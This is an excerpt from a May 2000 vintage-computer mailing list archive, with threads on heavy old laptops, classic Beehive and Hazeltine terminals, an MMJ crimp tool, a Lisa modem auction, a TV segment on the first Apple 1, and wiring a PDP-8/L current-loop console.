laptops. (David Vohs) References: <20000519193600.69493.qmail@hotmail.com> Message-ID: <14629.40232.954709.971331@phaduka.neurotica.com> On May 19, David Vohs wrote: > But in my opinion, I think laptops are made as thin as they are so you can > be lost or stolen easier. If you lose a new laptop, you are probably out > $1500 or more! That's why I like older laptops like a Tandy Model 100, > Macintosh Portable, etc. because of these reasons: > > 1. Large size > 2. *Proper* keyboards (laptop makers, please thake note!) > 3. Phenominal battery lives (see above comment) > 4. If they are lost (nobody would really want to steal an obsolete laptop) > you are out maybe $50-150 or so. > > So the newest technology is better, I beg to differ! [Dave stands up, puts on tie, holds up a copy of BusinessWeek] "But those ancient computers can't possibly work. Intel has come out with something new, therefore everything made prior to that stops working! Besides, how will I run the latest copy of Microsoft WhizBang GraphiMail without at least half a terabyte of RAM? You KNOW that I NEEEEED it in order to be a team player at my job...look, it says so in this magazine!" [Dave takes off tie, puts the copy of BusinessWeek on the floor, pees on it, and goes back to putting together his pdp11/73] -Dave McGuire From mgregory at vantageresearch.com Fri May 19 15:11:40 2000 From: mgregory at vantageresearch.com (Mark Gregory) Date: Sun Feb 27 18:51:47 2005 Subject: OT Rant: Smaller/thinner laptops. Message-ID: <029f01bfc1ce$71d6f5c0$0200a8c0@marvin> -----Original Message----- From: David Vohs To: classiccmp@classiccmp.org Date: Friday, May 19, 2000 1:51 PM Subject: OT Rant: Smaller/thinner laptops. > >But in my opinion, I think laptops are made as thin as they are so you can >be lost or stolen easier. If you lose a new laptop, you are probably out >$1500 or more! I think the driver of smaller size is the desire for lighter weight, without sacrificing features, since so many people use only their laptops now, rather than having a desktop as well. Anyone who's had to carry a 20+ lb laptop bag in addition to a briefcase, suitcase, etc. can appreciate why smaller size and lighter weight is a Good Thing (tm). Try lugging a Mac Portable with a spare battery around for a day and you'll see what I mean. Regards, Mark. From fmc at reanimators.org Fri May 19 15:13:01 2000 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 18:51:47 2005 Subject: rescued a beehive! In-Reply-To: allisonp@world.std.com's message of "Fri, 19 May 2000 14:03:17 -0400 (EDT)" References: Message-ID: <200005192013.NAA21300@daemonweed.reanimators.org> allisonp@world.std.com wrote: > I know, I worked for Haziltine and was part of manufacturing engineering > for terminals then. Hmm. This might have been before your time, but I might as well ask: got any stories to tell about the Hazeltine 2000? I ran across a few of them in the early 1980s, being used as 1200 bps terminals to a Univac 1108. 74-column green-screens in yellow-painted metal boxes. Very funky, even then. -Frank McConnell From rich at alcor.concordia.ca Fri May 19 15:31:24 2000 From: rich at alcor.concordia.ca (Rich Lafferty) Date: Sun Feb 27 18:51:47 2005 Subject: OT Rant: Smaller/thinner laptops. In-Reply-To: <20000519193600.69493.qmail@hotmail.com>; from netsurfer_x1@hotmail.com on Fri, May 19, 2000 at 07:36:00PM +0000 References: <20000519193600.69493.qmail@hotmail.com> Message-ID: <20000519163124.A2592@alcor.concordia.ca> On Fri, May 19, 2000 at 07:36:00PM +0000, David Vohs (netsurfer_x1@hotmail.com) wrote: > I'd like to share a revelation I have had about modern laptops. [...] > But in my opinion, I think laptops are made as thin as they are so you can > be lost or stolen easier. If you lose a new laptop, you are probably out > $1500 or more! That's why I like older laptops like a Tandy Model 100, > Macintosh Portable, etc. because of these reasons: > > 1. Large size One is to assume that you have a car in which to tote your heavy laptop around town.. Having said that, > 2. *Proper* keyboards (laptop makers, please thake note!) Yes, absolutely. I love my Toshiba 5100 for this (although I'm still looking for T/PIX to throw on it, nudge wink). > 3. Phenominal battery lives (see above comment) Heh, all of my workhorse portables/laptops are AC-only. :-) > 4. If they are lost (nobody would really want to steal an obsolete laptop) > you are out maybe $50-150 or so. You'd be surprised. The people stealing them haven't the first clue what they're taking; they only find out it's worthless when their fence refuses to buy it. I recently lost one of my two T1000s when I left it unattended for a moment in a coffeeshop; luckily I remembered to take the disk containing my work with me. -Rich -- ------------------------------ Rich Lafferty --------------------------- Sysadmin/Programmer, Instructional and Information Technology Services Concordia University, Montreal, QC (514) 848-7625 ------------------------- rich@alcor.concordia.ca ---------------------- From jim at calico.litterbox.com Fri May 19 15:43:12 2000 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:51:47 2005 Subject: OT Rant: Smaller/thinner laptops. In-Reply-To: <029f01bfc1ce$71d6f5c0$0200a8c0@marvin> from "Mark Gregory" at May 19, 2000 02:11:40 PM Message-ID: <200005192043.OAA24179@calico.litterbox.com> > Try lugging a Mac Portable with a spare battery around for a day and you'll > see what I mean. Or an Amstrad ppc 640, all 14 pounds of it, including 8 C cell batteries. :) > > Regards, > Mark. > -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From mikeford at socal.rr.com Fri May 19 16:01:09 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:47 2005 Subject: OT Rant: Smaller/thinner laptops. In-Reply-To: <029f01bfc1ce$71d6f5c0$0200a8c0@marvin> Message-ID: There is no great mystery, its just the lifecycle for each processor generation. The first product barely works, uses a LOT of juice, needs cooling, and well its the first board etc. design, so its going to be large, barely small enough to be acceptable in the market. Latter in the same generation low power versions become available, and initial board designs are redone using higher integration (more complex chips, but fewer of them). Finally models come out primarily designed for small size, even if the technology is a generation behind in absolute performance levels. Different strokes for different folks. From ard at p850ug1.demon.co.uk Fri May 19 16:09:19 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:47 2005 Subject: OT Rant: Smaller/thinner laptops. In-Reply-To: <200005192043.OAA24179@calico.litterbox.com> from "Jim Strickland" at May 19, 0 02:43:12 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 870 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000519/067e87ed/attachment.ksh From ard at p850ug1.demon.co.uk Fri May 19 16:04:13 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:47 2005 Subject: OT Rant: Smaller/thinner laptops. In-Reply-To: <20000519193600.69493.qmail@hotmail.com> from "David Vohs" at May 19, 0 07:36:00 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2078 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000519/f62a2502/attachment.ksh From cmcmanis at mcmanis.com Fri May 19 16:40:36 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:47 2005 Subject: rescued a beehive! In-Reply-To: <200005192013.NAA21300@daemonweed.reanimators.org> References: Message-ID: <4.1.20000519143523.03d45dc0@mailhost.hq.freegate.com> >Hmm. This might have been before your time, but I might as well ask: >got any stories to tell about the Hazeltine 2000? Oh if we're going to get funky lets talk about the (in)famous "MicroBee", the original Beehive terminal. This two ton, white painted, monstrosity weighed in at about 40 lbs even though the terminal wasn't much larger than VT340. The display was a blurry blueish white on blackish green. The thing only had 20 lines and only 72 characters on those lines. Cursor control was nearly non-existent. I believe the "backspace" sequence was go to the front of the and then forward space until you got to the place to stop. It had "bold", and "blink" but these involved putting format characters into the screen memory that printed as space so you could have a half bold word, you always got a space in there! If you deleted the "format char" all characters passed that acquired the previous format. It was considered extreme kung-fu to get FINE (a TOPS-10 emacs clone) to work at all on the thing. (oh and it sent ^S, ^Q (couldn't prevent it) if you talked to it over 2400 baud) --Chuck From cmcmanis at mcmanis.com Fri May 19 16:50:04 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:47 2005 Subject: heads up MMJ crimper tool. Message-ID: <4.1.20000519144801.00cf8d10@mailhost.hq.freegate.com> The Fry's in Sunnyvale CA has restocked its supply of "crimp" tools and has a bunch of the Ideal Industries #30-497 tools, this does RJ-45 *and* DEC MMJ connectors. They get $40 + tax for it which is a lot less than Black Box wants for theirs! They do not have crimp on MMJ connectors :-( --Chuck From jim at calico.litterbox.com Fri May 19 16:50:53 2000 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:51:47 2005 Subject: OT Rant: Smaller/thinner laptops. In-Reply-To: from "Tony Duell" at May 19, 2000 10:09:19 PM Message-ID: <200005192150.PAA24419@calico.litterbox.com> > 10 C cells, isn't it? I seem to remember fitting 2 rows of 5 into the > machine. I rarely run it off the internal batteries -- there's a 12V > input socket on the back that seems to make a lot more sense... It's been a while since I looked at mine, might well be 10. :) You loose the internal clock if you don't keep batteries in the thing. > > I like to demonstrate that the PPC640 is _wider_ than a 19" rack panel > (like a PDP11 front panel). Not many laptops can claim that ;-) > > I assume you realise that the PPC640 is basically the same as an Amstrad > XT-clone with the motherboard cut in half and the 2 halves stacked to fit > into the case. And an LCD controller added to the graphics circuitry. Oh, > and a PSU to run off batteries. But the main chips are the same as in > several Amstrad desktop machines... No, I had no idea. :) I wonder if you could stuff a mini-pci motherboard in there? or maybe the guts from an iOpener? Just a thought. :) > > -tony > -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From foo at siconic.com Fri May 19 15:53:04 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:47 2005 Subject: rescued a beehive! In-Reply-To: <4.1.20000519143523.03d45dc0@mailhost.hq.freegate.com> Message-ID: On Fri, 19 May 2000, Chuck McManis wrote: > >Hmm. This might have been before your time, but I might as well ask: > >got any stories to tell about the Hazeltine 2000? > > Oh if we're going to get funky lets talk about the (in)famous "MicroBee", > the original Beehive terminal. This two ton, white painted, monstrosity And if anyone would actually like to SEE one, I've got one in my collection. I'm one of the rare weirdo's whom actually LIKES to collect terminals. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From fauradon at mn.mediaone.net Fri May 19 16:55:14 2000 From: fauradon at mn.mediaone.net (FBA) Date: Sun Feb 27 18:51:47 2005 Subject: OT Rant: Smaller/thinner laptops. Message-ID: <003601bfc1dc$f3c9ae70$3c37d986@fauradon.beckman.com> Sorry that's 10 C cell batteries. Francois >Or an Amstrad ppc 640, all 14 pounds of it, including 8 C cell batteries. :) > > >> >> Regards, >> Mark. >> > > >-- >Jim Strickland >----------------------------------------------------------------------- From wpfulmor at dimensional.com Fri May 19 16:58:04 2000 From: wpfulmor at dimensional.com (William Fulmor) Date: Sun Feb 27 18:51:47 2005 Subject: heads up MMJ crimper tool. In-Reply-To: <4.1.20000519144801.00cf8d10@mailhost.hq.freegate.com> Message-ID: Well, I know where there's at least one full box of MMJ's but no crimp tool. Do you have an email contact or URL for us outlanders? Bill On Fri, 19 May 2000, Chuck McManis wrote: > The Fry's in Sunnyvale CA has restocked its supply of "crimp" tools and has > a bunch of the Ideal Industries #30-497 tools, this does RJ-45 *and* DEC > MMJ connectors. They get $40 + tax for it which is a lot less than Black > Box wants for theirs! They do not have crimp on MMJ connectors :-( > > --Chuck > From rigdonj at intellistar.net Fri May 19 18:00:02 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:47 2005 Subject: FA: Lisa MODEM Message-ID: <3.0.1.16.20000519180002.3c9f106c@mailhost.intellistar.net> I just listed a Lisa MODEM for auction. It's in perfect condition and in the original box. For pictures and more info see "http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=337089491". I also have a Lisa and an extra keyboard up for auction. Joe From foo at siconic.com Fri May 19 16:24:56 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:47 2005 Subject: FA: Lisa MODEM In-Reply-To: <3.0.1.16.20000519180002.3c9f106c@mailhost.intellistar.net> Message-ID: On Fri, 19 May 2000, Joe wrote: > I just listed a Lisa MODEM for auction. It's in perfect condition and in > the original box. For pictures and more info see > "http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=337089491". I also > have a Lisa and an extra keyboard up for auction. Joe, To be fair, this is not actually a Lisa specific modem but rather Apple's standard 300bps modem that sold mostly with their ][ products. This one just seems to have come with a Lisa specific packing list. I would just hate for the buyer to spend a bunch of money thinking this was some rare Lisa modem and then be very disappointed. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From ard at p850ug1.demon.co.uk Fri May 19 17:22:48 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:47 2005 Subject: OT Rant: Smaller/thinner laptops. In-Reply-To: <200005192150.PAA24419@calico.litterbox.com> from "Jim Strickland" at May 19, 0 03:50:53 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2652 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000519/b43558c2/attachment.ksh From jim at calico.litterbox.com Fri May 19 17:46:09 2000 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:51:47 2005 Subject: OT Rant: Smaller/thinner laptops. In-Reply-To: from "Tony Duell" at May 19, 2000 11:22:48 PM Message-ID: <200005192246.QAA24625@calico.litterbox.com> > > in there? or maybe the guts from an iOpener? Just a thought. :) > > Yuck! I really don't like this idea of 'upgrading' a classic computer. A > PPC640 is defined by the boards that should be in it. Not by the case :-) I was thinking that since according to the amstrad support boards these things are common as dirt and that dead ones can be had for very little it might be a good custom candidate. -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From donm at cts.com Fri May 19 17:55:20 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:51:47 2005 Subject: rescued a beehive! In-Reply-To: Message-ID: On Fri, 19 May 2000, Vintage Computer GAWD! wrote: > On Fri, 19 May 2000, Chuck McManis wrote: > > > >Hmm. This might have been before your time, but I might as well ask: > > >got any stories to tell about the Hazeltine 2000? > > > > Oh if we're going to get funky lets talk about the (in)famous "MicroBee", > > the original Beehive terminal. This two ton, white painted, monstrosity > > And if anyone would actually like to SEE one, I've got one in my > collection. > > I'm one of the rare weirdo's whom actually LIKES to collect terminals. Need/want an Epic 14E terminal? - don > Sellam International Man of Intrigue and Danger > ------------------------------------------------------------------------------- > Looking for a six in a pile of nines... > > Coming soon: VCF 4.0! > VCF East: Planning in Progress > See http://www.vintage.org for details! > > > From allisonp at world.std.com Fri May 19 17:12:31 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:47 2005 Subject: rescued a beehive! Message-ID: <000001bfc1df$c1c5d9a0$7164c0d0@ajp166> >Hmm. This might have been before your time, but I might as well ask: >got any stories to tell about the Hazeltine 2000? I was but I've used them. They were the favorite terminals on the BOCES LIRCS KA10 system. To us TTY bangers that was fast at 1200! Allison From healyzh at aracnet.com Fri May 19 18:20:45 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:51:47 2005 Subject: heads up MMJ crimper tool. In-Reply-To: from "William Fulmor" at May 19, 2000 03:58:04 PM Message-ID: <200005192320.QAA02347@shell1.aracnet.com> The interesting thing about Fry's is that they mostly sell high-tech stuff, however, they seem to be about as low-tech in their business operation as you can get. You'll not find a Fry's web page, but you will find a lot of Anti-Fry's web pages if you look. They're an interesting store, and I've gotten a lot of stuff from their Wilsonville, Oregon store. They don't seem to have as good of prices as they used to, and since it's a long drive to get there I haven't gone lately. OTOH, at least in this area their selection of parts and tools can't be beat. Watch what you buy though, a lot of it is refurbished, or returned. Zane > > > Well, I know where there's at least one full box of MMJ's but no crimp > tool. Do you have an email contact or URL for us outlanders? > > Bill > > On Fri, 19 May 2000, Chuck McManis wrote: > > > The Fry's in Sunnyvale CA has restocked its supply of "crimp" tools and has > > a bunch of the Ideal Industries #30-497 tools, this does RJ-45 *and* DEC > > MMJ connectors. They get $40 + tax for it which is a lot less than Black > > Box wants for theirs! They do not have crimp on MMJ connectors :-( > > > > --Chuck > > > From fmc at reanimators.org Fri May 19 18:07:04 2000 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 18:51:47 2005 Subject: rescued a beehive! In-Reply-To: Chuck McManis's message of "Fri, 19 May 2000 14:40:36 -0700" References: <4.1.20000519143523.03d45dc0@mailhost.hq.freegate.com> Message-ID: <200005192307.QAA26248@daemonweed.reanimators.org> Chuck McManis wrote: > Oh if we're going to get funky lets talk about the (in)famous "MicroBee", > the original Beehive terminal. This two ton, white painted, monstrosity Yeah, but did it clear screen memory on power-up? The Hazeltine 2000 didn't. First you powered it up, then you waited for it to warm up, then you might push the clear-screen key to make it wipe all that junk off the screen before you got started. > weighed in at about 40 lbs even though the terminal wasn't much larger than > VT340. The display was a blurry blueish white on blackish green. The thing > only had 20 lines and only 72 characters on those lines. Cursor control was 72 characters...OK, I understand that, Teletypes did 72 characters per line. 80 characters/line was just like an IBM card (modulo the System/3 cards, anyway). But 74? The only thing I can think is that it's like 72, but BIGGER! > It was considered extreme kung-fu to get FINE (a TOPS-10 emacs clone) to > work at all on the thing. (oh and it sent ^S, ^Q (couldn't prevent it) if > you talked to it over 2400 baud) In that day and age it seemed to be considered formerly-extreme kung-fu (i.e. "it's been done" and was by then down to where it could usually be made to work, even with modems and TPC in the way) to have an ASCII terminal talking to the Univac 1108. (Actually this was done with some sort of front-end that had been in part developed at the University of Maryland, hence had the name SMUCS but doggone if I can remember what that stood for.) So it didn't try to be more than a glass Teletype, and nobody thought to use it as anything more than one -- mostly this arrangment got used to edit files using @ED (an interactive editor, but still Teletype-oriented) and submit batch jobs. -Frank McConnell From liste at artware.qc.ca Fri May 19 18:35:16 2000 From: liste at artware.qc.ca (liste@artware.qc.ca) Date: Sun Feb 27 18:51:48 2005 Subject: rescued a beehive! In-Reply-To: Message-ID: On 19-May-2000 Vintage Computer GAWD! wrote: > And if anyone would actually like to SEE one, I've got one in my > collection. > > I'm one of the rare weirdo's whom actually LIKES to collect terminals. Oh, so I'm not the only one! :) Actually, I only have a small collection of terminals, manual typewriters and classic computers. However, to one-up you, I use my WYSE-85 daily. I'm something of an IRC junky, and rather then spend *all* my time in front of my main computer, I use the WYSE while lounging on the couch. It's not 10 years old though, so lets talk about VT-220s. Fun things to do with old terminals : - TTY DOOM! Doom with the frames rendered as ASCII art and piped out at 9600 baud. weeee! - lynx! Surfing the web over a dumb terminal is one of those silly things that the web "designers" hate you for. No banner ads! I microscopic fonts! I do it as often as possible. -Philip From mikeford at socal.rr.com Fri May 19 16:04:57 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:48 2005 Subject: OT Rant: Smaller/thinner laptops. In-Reply-To: <200005192043.OAA24179@calico.litterbox.com> References: <029f01bfc1ce$71d6f5c0$0200a8c0@marvin> from "Mark Gregory" at May 19, 2000 02:11:40 PM Message-ID: >> Try lugging a Mac Portable with a spare battery around for a day and you'll >> see what I mean. > >Or an Amstrad ppc 640, all 14 pounds of it, including 8 C cell batteries. :) How about an IBM 5140 (have one) with a kaypro as a backup (don't have one)? From cmcmanis at mcmanis.com Fri May 19 21:47:15 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:48 2005 Subject: heads up MMJ crimper tool. In-Reply-To: References: <4.1.20000519144801.00cf8d10@mailhost.hq.freegate.com> Message-ID: <4.3.1.2.20000519194200.032f0440@208.226.86.10> As the saying goes, "If you don't live here you probably don't want to go there." Basically Fry's sucks dead rodents through a hose. And most of the stuff on the shelf seems to have been returned at one point and never do they shave a penny off that price. I once heard someone brag that they didn't need to buy a digital camera, they just bought one at Fry's and returned it when they were done. :-( That and the fact that they drove the decent electronics stores out of business makes me hate them even more. However, they do get things now and again and if you know _exactly_ what you want, they can be useful to have near by. Other places stock the Ideal Industries tools, however the MMJ one is often not stocked. If you need one, I could probably be bribed with a couple of dozen uncrimped MMJs to be your transfer agent and get you one. Contact me off list if you want to go that route. --Chuck At 03:58 PM 5/19/00 -0600, you wrote: >Well, I know where there's at least one full box of MMJ's but no crimp >tool. Do you have an email contact or URL for us outlanders? > >Bill > >On Fri, 19 May 2000, Chuck McManis wrote: > > > The Fry's in Sunnyvale CA has restocked its supply of "crimp" tools and has > > a bunch of the Ideal Industries #30-497 tools, this does RJ-45 *and* DEC > > MMJ connectors. They get $40 + tax for it which is a lot less than Black > > Box wants for theirs! They do not have crimp on MMJ connectors :-( > > > > --Chuck > > From Innfogra at aol.com Fri May 19 22:22:41 2000 From: Innfogra at aol.com (Innfogra@aol.com) Date: Sun Feb 27 18:51:48 2005 Subject: History's lsot and found - Apple Message-ID: <71.342efd8.26575f01@aol.com> History's Lost and Found on the History Channel has a segment on the first apple tonight. I haven't seen it yet. It is on now, 8-9PM PDT and repeated at Midnight to 1:00am. As of 8:21 the segment has not aired. Paxton From lemay at cs.umn.edu Fri May 19 22:31:47 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:51:48 2005 Subject: PDP 8/L console In-Reply-To: <200005190216.WAA27720@drs-esg.com> from David Gesswein at "May 18, 2000 10:16:47 pm" Message-ID: <200005200331.WAA14613@caesar.cs.umn.edu> > >From: Lawrence LeMay > >My PDP 8/L that I recently acquired, has a cable that i assume is for > >the console terminal. It has a 9 pin male connector with only pins > >1 through 6 present. Is this a standard serial connection? This was > >a papertape based system, so it may have been connected to a teletype > >ASR 33. Will I need to locate something that can do 110 baud to use > >as a console? > > > If it is the W076 on the other end of the cable it is a teletype. > It normally runs at 110 baud current loop. You can either create an > external RS-232 to current loop or make a new W076 to do RS-232. > If you want to cheat you can reduce the capacitor on the M452 to increase > the baud rate. The serial port is not double buffered so you may have > problems with overruns when sending tape images to the 8/L. I think > the BIN/RIM loader is fast enough but Focal is not. On the teletype the > data was held off by the reader run signal. The card is a W076 D. Unfortunately, I know almost nothing about current loop connections. I attempted to read the current loop documentation for the Terak's current loop interface connector, and only confused myself some more... There are active and passive connections, and apparently these can be different between transmit and recieve pairs of wire? Is there a standard convention? I need to figure out which connections on the W076 are for what 'signal', so i can trace the wires to the DB-9 connector, and then make some adaptor cables. Does anyone have that information on the W076? My books dont list the W076. And which pairs on the W076 are active/passive, and am i correct in assuming that active pairs on one device connect to passive on the other end, ie, active supplies the current for the loop? I would want to connect a Teletype model 33 (assuming the one i'm supposed to be getting one of these days actually works...). Also, I would like to be able to connect an IBM to the 8/L, and hopefully use it to download paper tape images (probably using a rs232/current-loop interface). Has anyone been using an IBM like this in place of a ASR terminal? Any advice? -Lawrence LeMay From SUPRDAVE at aol.com Fri May 19 22:32:28 2000 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:51:48 2005 Subject: OT Rant: Smaller/thinner laptops. Message-ID: <69.53544d2.2657614c@aol.com> In a message dated 5/19/00 9:51:52 PM Eastern Daylight Time, mikeford@socal.rr.com writes: > >> Try lugging a Mac Portable with a spare battery around for a day and you' > ll > >> see what I mean. > > > >Or an Amstrad ppc 640, all 14 pounds of it, including 8 C cell batteries. :) > > > How about an IBM 5140 (have one) with a kaypro as a backup (don't have one)? or better yet, a PS/2 P70 or P75. maybe even a portable PC DB Young ICQ: 29427634 hurry, hurry, step right up! see the computers you used as a kid! http://members.aol.com/suprdave/classiccmp/museum.htm From Innfogra at aol.com Fri May 19 22:48:24 2000 From: Innfogra at aol.com (Innfogra@aol.com) Date: Sun Feb 27 18:51:48 2005 Subject: History's lost and found - Apple Message-ID: <7b.4510222.26576508@aol.com> In a message dated 5/19/2000 8:29:03 PM Pacific Daylight Time, Innfogra@aol.com writes: > History's Lost and Found on the History Channel has a segment on the first > apple tonight. I haven't seen it yet. It is on now, 8-9PM PDT and repeated > at > Midnight to 1:00am. As of 8:21 the segment has not aired. It aired about 8:25 and ended at 8:35. A loose history about the LOOP Apple 1 with interviews with Woz and the LOOP center. Woz donated an Apple 1 to the center. A mishmash of pictures with quite a few of mainframes. It will be repeated tonight on the History Channel about 12:25 am, PDT for those of you that have cable TV. I enjoyed it but it was light. Nice pictures of an Apple 1 though. Note that the keyboard cable is partially unplugged, I don't think they fired it up. Paxton From foo at siconic.com Fri May 19 22:17:11 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:48 2005 Subject: History's lost and found - Apple In-Reply-To: <7b.4510222.26576508@aol.com> Message-ID: On Fri, 19 May 2000 Innfogra@aol.com wrote: > It aired about 8:25 and ended at 8:35. A loose history about the LOOP Apple 1 > with interviews with Woz and the LOOP center. Woz donated an Apple 1 to the > center. A mishmash of pictures with quite a few of mainframes. To be more specific, the Apple 1 that the LO*OP Center has is THE first Apple 1 built according to Woz. It was used for teaching kids computers at the LO*OP Center (based in Palo Alto) until Woz pulled the first Apple ][ off the assembly line (not THE first Apple ][ but it was the first given to someone outside of Apple; it was serial #10) and gave it to the LO*OP Center as well. BTW, I had the honor of holding Apple 1 #1 in my very own hands :) Also, Apple 1 #1 was exhibited and it's story was told at VCF 3.0. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From marvin at rain.org Sat May 20 00:00:00 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:51:48 2005 Subject: heads up MMJ crimper tool. References: <4.1.20000519144801.00cf8d10@mailhost.hq.freegate.com> <4.3.1.2.20000519194200.032f0440@208.226.86.10> Message-ID: <39261BD0.1F43279B@rain.org> Chuck McManis wrote: > > As the saying goes, "If you don't live here you probably don't want to go > there." Basically Fry's sucks dead rodents through a hose. And most of the > stuff on the shelf seems to have been returned at one point and never do > they shave a penny off that price. I once heard someone brag that they > didn't need to buy a digital camera, they just bought one at Fry's and > returned it when they were done. :-( That and the fact that they drove the There was an article in IIRC Forbes Magazine describing Fry's. The nutshell description was they didn't hire knowledgeable salespeople because their customers probably knew more than the sales people, and they have the H&H factor in place (Hoops & Hurdles) when customers want to return or exchange something. I gather the idea was to put enough pain into the return process that customers would think twice about returning merchandise. From lemay at cs.umn.edu Sat May 20 00:30:53 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:51:48 2005 Subject: History's lost and found - PDP 8/L In-Reply-To: <71.342efd8.26575f01@aol.com> from "Innfogra@aol.com" at "May 19, 2000 11:22:41 pm" Message-ID: <200005200530.AAA04571@caesar.cs.umn.edu> > History's Lost and Found on the History Channel has a segment on the first > apple tonight. I haven't seen it yet. It is on now, 8-9PM PDT and repeated at > Midnight to 1:00am. As of 8:21 the segment has not aired. > Paxton I videotaped it, at SLP speed unfortunately. I say unfortunately, since I noticed for a very brief instant while they were panning across Liza Loop's basement, a PDP 8 or 11. Going back and using single-frame advance, it looks to me like a PDP 8/L in a desktop case. The front panel switches and indicators match perfectly with a 8/L, and the color scheme is correct for some sort of 8. The tape was too grainy for any further details ;) Just thought I'd mention it, perhaps someone should volunteer to take that machine off their hands, its certainly not being used in the basement, with boxes of junk stacked on it, and sitting next to baskets of old clothes. There is also a 'mystery box' that looks like it should be DEC equipment as well, it is the same size as the 8/L, appears to have a solid black front with a ACE switch in the lower left, has the same milky white metal frame around the front panel, and there is a large piece of old paper covering most of the rest of the front... Expansion box for the 8/L perhaps? -Lawrence LeMay From foo at siconic.com Sat May 20 00:26:53 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:48 2005 Subject: History's lost and found - PDP 8/L In-Reply-To: <200005200530.AAA04571@caesar.cs.umn.edu> Message-ID: On Sat, 20 May 2000, Lawrence LeMay wrote: > > History's Lost and Found on the History Channel has a segment on the first > > apple tonight. I haven't seen it yet. It is on now, 8-9PM PDT and repeated at > > Midnight to 1:00am. As of 8:21 the segment has not aired. > > Paxton > > I videotaped it, at SLP speed unfortunately. I say unfortunately, since > I noticed for a very brief instant while they were panning across Liza > Loop's basement, a PDP 8 or 11. It's a PDP-8 that I believe was donated to them by the People's Computer Company (I think it may have come from Lee Felsenstein). > Just thought I'd mention it, perhaps someone should volunteer to > take that machine off their hands, its certainly not being used in the > basement, with boxes of junk stacked on it, and sitting next to baskets > of old clothes. There is also a 'mystery box' that looks like it Well, neither are all the machines we collectors have stacked in our basements, doing pretty much nothing. In other words, she's a collector (of sorts) too. > should be DEC equipment as well, it is the same size as the 8/L, appears > to have a solid black front with a ACE switch in the lower left, has > the same milky white metal frame around the front panel, and there > is a large piece of old paper covering most of the rest of the front... > Expansion box for the 8/L perhaps? It's been over a year since I was in there so I can't recall what this was. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From flo at rdel.co.uk Sat May 20 02:22:40 2000 From: flo at rdel.co.uk (Paul Williams) Date: Sun Feb 27 18:51:48 2005 Subject: rescued a beehive! References: Message-ID: <39263D40.622C64F@rdel.co.uk> liste@artware.qc.ca wrote: > > On 19-May-2000 Vintage Computer GAWD! wrote: > > And if anyone would actually like to SEE one, I've got one in my > > collection. > > > > I'm one of the rare weirdo's whom actually LIKES to collect terminals. > > Oh, so I'm not the only one! :) Actually, I only have a small collection > of terminals, manual typewriters and classic computers. Hehehe. Terminal junkie support group, anyone? Sellam, Philip, I'd love to see pictures of any terminals in your collections. I'm mainly DEC VT-obsessed, but we've still got some older terminals from other manufacturers at work that I'm hoping will be obsolete soon. Because we have to support systems for a very long time, there are labs here with various DECwriters, an LSI ADM3a and a Hazeltine terminal (1500?). Interesting to hear that TTYs had 72 columns, because I had wondered for some time why the VT05 only had 20 rows of 72 columns. Nearly 13 years ago, I worked for the UKAEA and used Lynwood Alpha terminals, but I've been unable to find any mention of them since. I know that Lynwood used to make TEMPEST-compliant and ruggedised equipment for government agencies, so perhaps the Alpha was a reboxed version of someone else's terminal. 